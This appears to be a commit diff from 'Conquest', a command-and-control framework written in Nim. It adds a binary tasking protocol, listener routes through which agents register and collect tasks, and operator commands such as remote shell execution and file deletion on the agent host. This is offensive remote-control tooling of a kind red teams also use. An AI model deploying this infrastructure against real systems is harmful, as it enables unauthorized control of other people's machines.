MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
VERSION* = 1'u8 # Version 1
HEADER_SIZE* = 32'u8 # 32 bytes fixed packet header size
type
PacketType* = enum
MSG_TASK = 0'u8
MSG_RESPONSE = 1'u8
MSG_REGISTER = 2'u8
MSG_CHECKIN = 100'u8
ArgType* = enum
STRING = 0'u8
INT = 1'u8
LONG = 2'u8
BOOL = 3'u8
BINARY = 4'u8
HeaderFlags* = enum
# Flags should be powers of 2 so they can be connected with or operators
FLAG_PLAINTEXT = 0'u16
FLAG_ENCRYPTED = 1'u16
CommandType* = enum
CMD_SLEEP = 0'u16
CMD_SHELL = 1'u16
CMD_PWD = 2'u16
CMD_CD = 3'u16
CMD_LS = 4'u16
CMD_RM = 5'u16
CMD_RMDIR = 6'u16
CMD_MOVE = 7'u16
CMD_COPY = 8'u16
StatusType* = enum
STATUS_COMPLETED = 0'u8
STATUS_FAILED = 1'u8
ResultType* = enum
RESULT_STRING = 0'u8
RESULT_BINARY = 1'u8
RESULT_NO_OUTPUT = 2'u8
Header* = object
magic*: uint32 # [4 bytes ] magic value
version*: uint8 # [1 byte ] protocol version
packetType*: uint8 # [1 byte ] message type
flags*: uint16 # [2 bytes ] message flags
seqNr*: uint32 # [4 bytes ] sequence number / nonce
size*: uint32 # [4 bytes ] size of the payload body
hmac*: array[16, byte] # [16 bytes] hmac for message integrity
TaskArg* = object
argType*: uint8 # [1 byte ] argument type
data*: seq[byte] # variable length data (for variable data types (STRING, BINARY), the first 4 bytes indicate data length)
Task* = object
header*: Header
taskId*: uint32 # [4 bytes ] task id
agentId*: uint32 # [4 bytes ] agent id
listenerId*: uint32 # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp
command*: uint16 # [2 bytes ] command id
argCount*: uint8 # [1 byte ] number of arguments
args*: seq[TaskArg] # variable length arguments
TaskResult* = object
header*: Header
taskId*: uint32 # [4 bytes ] task id
agentId*: uint32 # [4 bytes ] agent id
listenerId*: uint32 # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp
command*: uint16 # [2 bytes ] command id
status*: uint8 # [1 byte ] success flag
resultType*: uint8 # [1 byte ] result data type (string, binary)
length*: uint32 # [4 bytes ] result length
data*: seq[byte] # variable length result
# Commands
Argument* = object
name*: string
description*: string
argumentType*: ArgType
isRequired*: bool
Command* = object
name*: string
commandType*: CommandType
description*: string
example*: string
arguments*: seq[Argument]
dispatchMessage*: string
# Agent structure
type
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
AgentMetadata* = object
agentId*: uint32
listenerId*: uint32
username*: seq[byte]
hostname*: seq[byte]
domain*: seq[byte]
ip*: seq[byte]
os*: seq[byte]
process*: seq[byte]
pid*: uint32
isElevated*: uint8
sleep*: uint32
AgentRegistrationData* = object
header*: Header
# encMaterial*: seq[byte] # Encryption material for the agent registration
metadata*: AgentMetadata
Agent* = ref object
agentId*: string
listenerId*: string
username*: string
hostname*: string
domain*: string
ip*: string
os*: string
process*: string
pid*: int
elevated*: bool
sleep*: int
jitter*: float
tasks*: seq[Task]
firstCheckin*: DateTime
latestCheckin*: DateTime
# Listener structure
type
Protocol* = enum
HTTP = "http"
Listener* = ref object
name*: string
address*: string
port*: int
protocol*: Protocol
# Server structure
type
Conquest* = ref object
prompt*: Prompt
dbPath*: string
listeners*: Table[string, Listener]
agents*: Table[string, Agent]
interactAgent*: Agent

53
src/common/utils.nim Normal file
View File

@@ -0,0 +1,53 @@
import strutils, sequtils, random, strformat
proc generateUUID*(): string =
# Create a 4-byte HEX UUID string (8 characters)
(0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join()
proc uuidToUint32*(uuid: string): uint32 =
return fromHex[uint32](uuid)
proc uuidToString*(uuid: uint32): string =
return uuid.toHex(8)
proc toString*(data: seq[byte]): string =
result = newString(data.len)
for i, b in data:
result[i] = char(b)
proc toBytes*(data: string): seq[byte] =
result = newSeq[byte](data.len)
for i, c in data:
result[i] = byte(c.ord)
proc toUint32*(data: seq[byte]): uint32 =
if data.len != 4:
raise newException(ValueError, "Expected 4 bytes for uint32")
return uint32(data[0]) or
(uint32(data[1]) shl 8) or
(uint32(data[2]) shl 16) or
(uint32(data[3]) shl 24)
proc toHexDump*(data: seq[byte]): string =
for i, b in data:
result.add(b.toHex(2))
if i < data.len - 1:
if (i + 1) mod 4 == 0:
result.add(" | ") # Add | every 4 bytes
else:
result.add(" ") # Regular space
proc toBytes*(value: uint16): seq[byte] =
return @[
byte(value and 0xFF),
byte((value shr 8) and 0xFF)
]
proc toBytes*(value: uint32): seq[byte] =
return @[
byte(value and 0xFF),
byte((value shr 8) and 0xFF),
byte((value shr 16) and 0xFF),
byte((value shr 24) and 0xFF)
]

View File

@@ -2,93 +2,105 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys
import ../[utils, globals] import ../[utils, globals]
import ../db/database import ../db/database
import ../../types import ../task/packer
import ../../common/[types, utils]
import sugar
# Utility functions # Utility functions
proc add*(cq: Conquest, agent: Agent) = proc add*(cq: Conquest, agent: Agent) =
cq.agents[agent.name] = agent cq.agents[agent.agentId] = agent
#[ #[
Agent API Agent API
Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results
]# ]#
proc register*(agent: Agent): bool = proc register*(registrationData: seq[byte]): bool =
# The following line is required to be able to use the `cq` global variable for console output # The following line is required to be able to use the `cq` global variable for console output
{.cast(gcsafe).}: {.cast(gcsafe).}:
# Check if listener that is requested exists let agent: Agent = deserializeNewAgent(registrationData)
# TODO: Verify that the listener accessed is also the listener specified in the URL
# This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database # Validate that listener exists
if not cq.dbListenerExists(agent.listener.toUpperAscii): if not cq.dbListenerExists(agent.listenerId.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n") cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listenerId}.", "\n")
return false return false
# Store agent in database # # Store agent in database
if not cq.dbStoreAgent(agent): if not cq.dbStoreAgent(agent):
cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.name} into database.", "\n") cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.agentId} into database.", "\n")
return false return false
cq.add(agent) cq.add(agent)
let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss") let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.agentId, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listenerId, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
return true return true
proc getTasks*(listener, agent: string): JsonNode = proc getTasks*(listener, agent: string): seq[seq[byte]] =
{.cast(gcsafe).}: {.cast(gcsafe).}:
var result: seq[seq[byte]]
# Check if listener exists # Check if listener exists
if not cq.dbListenerExists(listener.toUpperAscii): if not cq.dbListenerExists(listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n") cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n")
return nil raise newException(ValueError, "Invalid listener.")
# Check if agent exists # Check if agent exists
if not cq.dbAgentExists(agent.toUpperAscii): if not cq.dbAgentExists(agent.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n") cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n")
return nil raise newException(ValueError, "Invalid agent.")
# Update the last check-in date for the accessed agent # Update the last check-in date for the accessed agent
cq.agents[agent.toUpperAscii].latestCheckin = now() cq.agents[agent.toUpperAscii].latestCheckin = now()
# if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")): # if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
# return nil # return nil
# Return tasks in JSON format # Return tasks
return %cq.agents[agent.toUpperAscii].tasks for task in cq.agents[agent.toUpperAscii].tasks:
let taskData = serializeTask(task)
result.add(taskData)
return result
proc handleResult*(listener, agent, task: string, taskResult: TaskResult) = proc handleResult*(resultData: seq[byte]) =
{.cast(gcsafe).}: {.cast(gcsafe).}:
let
taskResult = deserializeTaskResult(resultData)
taskId = uuidToString(taskResult.taskId)
agentId = uuidToString(taskResult.agentId)
listenerId = uuidToString(taskResult.listenerId)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$resultData.len} bytes received.")
if taskResult.status == Failed: case cast[StatusType](taskResult.status):
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.") of STATUS_COMPLETED:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {taskId} completed.")
if taskResult.data != "": of STATUS_FAILED:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:") cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {taskId} failed.")
case cast[ResultType](taskResult.resultType):
of RESULT_STRING:
if int(taskResult.length) > 0:
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Output:")
# Split result string on newline to keep formatting # Split result string on newline to keep formatting
for line in decode(taskResult.data).split("\n"): for line in taskResult.data.toString().split("\n"):
cq.writeLine(line) cq.writeLine(line)
else:
cq.writeLine()
else: of RESULT_BINARY:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.") # Write binary data to a file
cq.writeLine()
if taskResult.data != "":
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:")
# Split result string on newline to keep formatting of RESULT_NO_OUTPUT:
for line in decode(taskResult.data).split("\n"): cq.writeLine()
cq.writeLine(line)
else:
cq.writeLine()
# Update task queue to include all tasks, except the one that was just completed # Update task queue to include all tasks, except the one that was just completed
cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task) cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
return

View File

@@ -1,81 +1,73 @@
import prologue, json import prologue, json, terminal, strformat
import sequtils, strutils, times import sequtils, strutils, times, base64
import ./handlers import ./handlers
import ../utils import ../[utils, globals]
import ../../types import ../../common/[types, utils]
proc error404*(ctx: Context) {.async.} = proc error404*(ctx: Context) {.async.} =
resp "", Http404 resp "", Http404
#[ #[
POST /{listener-uuid}/register POST /register
Called from agent to register itself to the conquest server Called from agent to register itself to the conquest server
]# ]#
proc register*(ctx: Context) {.async.} = proc register*(ctx: Context) {.async.} =
# Check headers # Check headers
# If POST data is not JSON data, return 404 error code # If POST data is not binary data, return 404 error code
if ctx.request.contentType != "application/json": if ctx.request.contentType != "application/octet-stream":
resp "", Http404 resp "", Http404
return return
# The JSON data for the agent registration has to be in the following format
#[
{
"username": "username",
"hostname":"hostname",
"domain": "domain.local",
"ip": "ip-address",
"os": "operating-system",
"process": "agent.exe",
"pid": 1234,
"elevated": false.
"sleep": 10
}
]#
try: try:
let let agentId = register(ctx.request.body.toBytes())
postData: JsonNode = parseJson(ctx.request.body) resp "Ok", Http200
agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
agentUuid: string = generateUUID()
listenerUuid: string = ctx.getPathParams("listener")
date: DateTime = now()
let agent: Agent = Agent(
name: agentUuid,
listener: listenerUuid,
username: agentRegistrationData.username,
hostname: agentRegistrationData.hostname,
domain: agentRegistrationData.domain,
process: agentRegistrationData.process,
pid: agentRegistrationData.pid,
ip: agentRegistrationData.ip,
os: agentRegistrationData.os,
elevated: agentRegistrationData.elevated,
sleep: agentRegistrationData.sleep,
jitter: 0.2,
tasks: @[],
firstCheckin: date,
latestCheckin: date
)
# Fully register agent and add it to database
if not agent.register():
# Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed
# Return a 404 error code either way
resp "", Http404
return
# If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results
resp agent.name
except CatchableError: except CatchableError:
# JSON data is invalid or does not match the expected format (described above)
resp "", Http404 resp "", Http404
return # try:
# let
# postData: JsonNode = parseJson(ctx.request.body)
# agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
# agentUuid: string = generateUUID()
# listenerUuid: string = ctx.getPathParams("listener")
# date: DateTime = now()
# let agent: Agent = Agent(
# name: agentUuid,
# listener: listenerUuid,
# username: agentRegistrationData.username,
# hostname: agentRegistrationData.hostname,
# domain: agentRegistrationData.domain,
# process: agentRegistrationData.process,
# pid: agentRegistrationData.pid,
# ip: agentRegistrationData.ip,
# os: agentRegistrationData.os,
# elevated: agentRegistrationData.elevated,
# sleep: agentRegistrationData.sleep,
# jitter: 0.2,
# tasks: @[],
# firstCheckin: date,
# latestCheckin: date
# )
# # Fully register agent and add it to database
# if not agent.register():
# # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed
# # Return a 404 error code either way
# resp "", Http404
# return
# # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results
# resp agent.name
# except CatchableError:
# # JSON data is invalid or does not match the expected format (described above)
# resp "", Http404
# return
#[ #[
GET /{listener-uuid}/{agent-uuid}/tasks GET /{listener-uuid}/{agent-uuid}/tasks
@@ -86,45 +78,52 @@ proc getTasks*(ctx: Context) {.async.} =
let let
listener = ctx.getPathParams("listener") listener = ctx.getPathParams("listener")
agent = ctx.getPathParams("agent") agent = ctx.getPathParams("agent")
let tasksJson = getTasks(listener, agent) try:
var response: seq[byte]
# If agent/listener is invalid, return a 404 Not Found error code let tasks: seq[seq[byte]] = getTasks(listener, agent)
if tasksJson == nil:
if tasks.len <= 0:
resp "", Http200
return
# Create response, containing number of tasks, as well as length and content of each task
# This makes it easier for the agent to parse the tasks
response.add(uint8(tasks.len))
for task in tasks:
response.add(uint32(task.len).toBytes())
response.add(task)
await ctx.respond(
code = Http200,
body = response.toString()
)
# Notify operator that agent collected tasks
{.cast(gcsafe).}:
let date = now().format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$response.len} bytes sent.")
except CatchableError:
resp "", Http404 resp "", Http404
# Return all currently active tasks as a JsonObject
resp jsonResponse(tasksJson)
#[ #[
POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results POST /results
Called from agent to post results of a task Called from agent to post results of a task
]# ]#
proc postResults*(ctx: Context) {.async.} = proc postResults*(ctx: Context) {.async.} =
let
listener = ctx.getPathParams("listener")
agent = ctx.getPathParams("agent")
task = ctx.getPathParams("task")
# Check headers # Check headers
# If POST data is not JSON data, return 404 error code # If POST data is not binary data, return 404 error code
if ctx.request.contentType != "application/json": if ctx.request.contentType != "application/octet-stream":
resp "", Http404 resp "", Http404
return return
try: try:
let handleResult(ctx.request.body.toBytes())
taskResultJson: JsonNode = parseJson(ctx.request.body)
taskResult: TaskResult = taskResultJson.to(TaskResult)
# Handle and display task result
handleResult(listener, agent, task, taskResult)
except CatchableError: except CatchableError:
# JSON data is invalid or does not match the expected format (described above)
resp "", Http404 resp "", Http404
return return

View File

@@ -1,14 +1,14 @@
import terminal, strformat, strutils, tables, times, system, osproc, streams import terminal, strformat, strutils, tables, times, system, osproc, streams
import ../utils import ../utils
import ../task/handler import ../task/dispatcher
import ../db/database import ../db/database
import ../../types import ../../common/[types, utils]
# Utility functions # Utility functions
proc addMultiple*(cq: Conquest, agents: seq[Agent]) = proc addMultiple*(cq: Conquest, agents: seq[Agent]) =
for a in agents: for a in agents:
cq.agents[a.name] = a cq.agents[a.agentId] = a
proc delAgent*(cq: Conquest, agentName: string) = proc delAgent*(cq: Conquest, agentName: string) =
cq.agents.del(agentName) cq.agents.del(agentName)
@@ -65,8 +65,8 @@ proc agentInfo*(cq: Conquest, name: string) =
# TODO: Improve formatting # TODO: Improve formatting
cq.writeLine(fmt""" cq.writeLine(fmt"""
Agent name (UUID): {agent.name} Agent name (UUID): {agent.agentId}
Connected to listener: {agent.listener} Connected to listener: {agent.listenerId}
────────────────────────────────────────── ──────────────────────────────────────────
Username: {agent.username} Username: {agent.username}
Hostname: {agent.hostname} Hostname: {agent.hostname}
@@ -113,9 +113,9 @@ proc agentInteract*(cq: Conquest, name: string) =
var command: string = "" var command: string = ""
# Change prompt indicator to show agent interaction # Change prompt indicator to show agent interaction
cq.setIndicator(fmt"[{agent.name}]> ") cq.setIndicator(fmt"[{agent.agentId}]> ")
cq.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")]) cq.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")])
cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.name, resetStyle, ". Type 'help' to list available commands.\n") cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.agentId, resetStyle, ". Type 'help' to list available commands.\n")
cq.interactAgent = agent cq.interactAgent = agent
while command.replace(" ", "") != "back": while command.replace(" ", "") != "back":

View File

@@ -4,7 +4,7 @@ import prologue
import ../utils import ../utils
import ../api/routes import ../api/routes
import ../db/database import ../db/database
import ../../types import ../../common/[types, utils]
# Utility functions # Utility functions
proc delListener(cq: Conquest, listenerName: string) = proc delListener(cq: Conquest, listenerName: string) =
@@ -66,9 +66,9 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
var listener = newApp(settings = listenerSettings) var listener = newApp(settings = listenerSettings)
# Define API endpoints # Define API endpoints
listener.post("{listener}/register", routes.register) listener.post("register", routes.register)
listener.get("{listener}/{agent}/tasks", routes.getTasks) listener.get("{listener}/{agent}/tasks", routes.getTasks)
listener.post("{listener}/{agent}/{task}/results", routes.postResults) listener.post("results", routes.postResults)
listener.registerErrorHandler(Http404, routes.error404) listener.registerErrorHandler(Http404, routes.error404)
# Store listener in database # Store listener in database
@@ -99,9 +99,9 @@ proc restartListeners*(cq: Conquest) =
listener = newApp(settings = settings) listener = newApp(settings = settings)
# Define API endpoints # Define API endpoints
listener.post("{listener}/register", routes.register) listener.post("register", routes.register)
listener.get("{listener}/{agent}/tasks", routes.getTasks) listener.get("{listener}/{agent}/tasks", routes.getTasks)
listener.post("{listener}/{agent}/{task}/results", routes.postResults) listener.post("results", routes.postResults)
listener.registerErrorHandler(Http404, routes.error404) listener.registerErrorHandler(Http404, routes.error404)
try: try:

View File

@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
import ./[agent, listener] import ./[agent, listener]
import ../[globals, utils] import ../[globals, utils]
import ../db/database import ../db/database
import ../../types import ../../common/[types, utils]
#[ #[
Argument parsing Argument parsing

View File

@@ -2,7 +2,7 @@ import system, terminal, tiny_sqlite
import ./[dbAgent, dbListener] import ./[dbAgent, dbListener]
import ../utils import ../utils
import ../../types import ../../common/[types, utils]
# Export functions so that only ./db/database is required to be imported # Export functions so that only ./db/database is required to be imported
export dbAgent, dbListener export dbAgent, dbListener

View File

@@ -1,7 +1,7 @@
import system, terminal, tiny_sqlite, times import system, terminal, tiny_sqlite, times
import ../utils import ../utils
import ../../types import ../../common/[types, utils]
#[ #[
Agent database functions Agent database functions
@@ -14,7 +14,7 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
conquestDb.exec(""" conquestDb.exec("""
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, jitter, firstCheckin, latestCheckin) INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, jitter, firstCheckin, latestCheckin)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
""", agent.name, agent.listener, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss")) """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss"))
conquestDb.close() conquestDb.close()
except: except:
@@ -31,11 +31,11 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents;"): for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents;"):
let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string)) let (agentId, listenerId, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
let a = Agent( let a = Agent(
name: name, agentId: agentId,
listener: listener, listenerId: listenerId,
sleep: sleep, sleep: sleep,
pid: pid, pid: pid,
username: username, username: username,
@@ -66,11 +66,11 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents WHERE listener = ?;", listenerName): for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents WHERE listener = ?;", listenerName):
let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string)) let (agentId, listenerId, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
let a = Agent( let a = Agent(
name: name, agentId: agentId,
listener: listener, listenerId: listenerId,
sleep: sleep, sleep: sleep,
pid: pid, pid: pid,
username: username, username: username,

View File

@@ -1,7 +1,7 @@
import system, terminal, tiny_sqlite import system, terminal, tiny_sqlite
import ../utils import ../utils
import ../../types import ../../common/[types, utils]
# Utility functions # Utility functions
proc stringToProtocol*(protocol: string): Protocol = proc stringToProtocol*(protocol: string): Protocol =

View File

@@ -1,4 +1,4 @@
import ../types import ../common/[types, utils]
# Global variable for handling listeners, agents and console output # Global variable for handling listeners, agents and console output
var cq*: Conquest var cq*: Conquest

View File

@@ -1,5 +1,6 @@
import random import random
import core/server import core/server
import strutils
# Conquest framework entry point # Conquest framework entry point
when isMainModule: when isMainModule:

View File

@@ -1,16 +1,187 @@
import argparse, times, strformat, terminal, sequtils import times, strformat, terminal, tables, json, sequtils, strutils
import ../../types import ./[parser]
import ../utils import ../utils
import ../../common/[types, utils]
proc createTask*(cq: Conquest, command: CommandType, args: string, message: string) = proc initAgentCommands*(): Table[string, Command] =
let var commands = initTable[string, Command]()
date = now().format("dd-MM-yyyy HH:mm:ss")
task = Task( commands["shell"] = Command(
id: generateUUID(), name: "shell",
agent: cq.interactAgent.name, commandType: CMD_SHELL,
command: command, description: "Execute a shell command and retrieve the output.",
args: args, example: "shell whoami /all",
) arguments: @[
Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true),
Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false)
]
)
commands["sleep"] = Command(
name: "sleep",
commandType: CMD_SLEEP,
description: "Update sleep delay configuration.",
example: "sleep 5",
arguments: @[
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
]
)
commands["pwd"] = Command(
name: "pwd",
commandType: CMD_PWD,
description: "Retrieve current working directory.",
example: "pwd",
arguments: @[]
)
commands["cd"] = Command(
name: "cd",
commandType: CMD_CD,
description: "Change current working directory.",
example: "cd C:\\Windows\\Tasks",
arguments: @[
Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true)
]
)
commands["ls"] = Command(
name: "ls",
commandType: CMD_LS,
description: "List files and directories.",
example: "ls C:\\Users\\Administrator\\Desktop",
arguments: @[
Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false)
]
)
commands["rm"] = Command(
name: "rm",
commandType: CMD_RM,
description: "Remove a file.",
example: "rm C:\\Windows\\Tasks\\payload.exe",
arguments: @[
Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true)
]
)
commands["rmdir"] = Command(
name: "rmdir",
commandType: CMD_RMDIR,
description: "Remove a directory.",
example: "rm C:\\Payloads",
arguments: @[
Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true)
]
)
commands["move"] = Command(
name: "move",
commandType: CMD_MOVE,
description: "Move a file or directory.",
example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
arguments: @[
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
]
)
commands["copy"] = Command(
name: "copy",
commandType: CMD_COPY,
description: "Copy a file or directory.",
example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
arguments: @[
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
]
)
return commands
let commands = initAgentCommands()
proc getCommandFromTable(input: string, commands: Table[string, Command]): Command =
try:
let command = commands[input]
return command
except ValueError:
raise newException(ValueError, fmt"The command '{input}' does not exist.")
proc displayHelp(cq: Conquest, commands: Table[string, Command]) =
cq.writeLine("Available commands:")
cq.writeLine(" * back")
for key, cmd in commands:
cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}")
cq.writeLine()
proc displayCommandHelp(cq: Conquest, command: Command) =
var usage = command.name & " " & command.arguments.mapIt(
if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]"
).join(" ")
if command.example != "":
usage &= "\nExample : " & command.example
cq.writeLine(fmt"""
{command.description}
Usage : {usage}
""")
if command.arguments.len > 0:
cq.writeLine("Arguments:\n")
let header = @["Name", "Type", "Required", "Description"]
cq.writeLine(fmt" {header[0]:<15} {header[1]:<6} {header[2]:<8} {header[3]}")
cq.writeLine(fmt" {'-'.repeat(15)} {'-'.repeat(6)} {'-'.repeat(8)} {'-'.repeat(20)}")
for arg in command.arguments:
let isRequired = if arg.isRequired: "YES" else: "NO"
cq.writeLine(fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<6} {isRequired:>8} {arg.description}")
cq.writeLine()
proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[string, Command]) =
try:
# Try parsing the first argument passed to 'help' as a command
cq.displayCommandHelp(getCommandFromTable(parsed[1], commands))
except IndexDefect:
# 'help' command is called without additional parameters
cq.displayHelp(commands)
except ValueError:
# Command was not found
cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n')
proc handleAgentCommand*(cq: Conquest, input: string) =
# Return if no command (or just whitespace) is entered
if input.replace(" ", "").len == 0: return
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.agentId}] ", resetStyle, styleBright, input)
# Convert user input into sequence of string arguments
let parsedArgs = parseInput(input)
cq.interactAgent.tasks.add(task) # Handle 'back' command
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message) if parsedArgs[0] == "back":
return
# Handle 'help' command
if parsedArgs[0] == "help":
cq.handleHelp(parsedArgs, commands)
return
# Handle commands with actions on the agent
try:
let
command = getCommandFromTable(parsedArgs[0], commands)
task = cq.parseTask(command, parsedArgs[1..^1])
# Add task to queue
cq.interactAgent.tasks.add(task)
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to {command.description.toLowerAscii()}")
except CatchableError:
cq.writeLine(fgRed, styleBright, fmt"[-] {getCurrentExceptionMsg()}" & "\n")
return

View File

@@ -1,185 +0,0 @@
import times, strformat, terminal, tables, json, sequtils, strutils
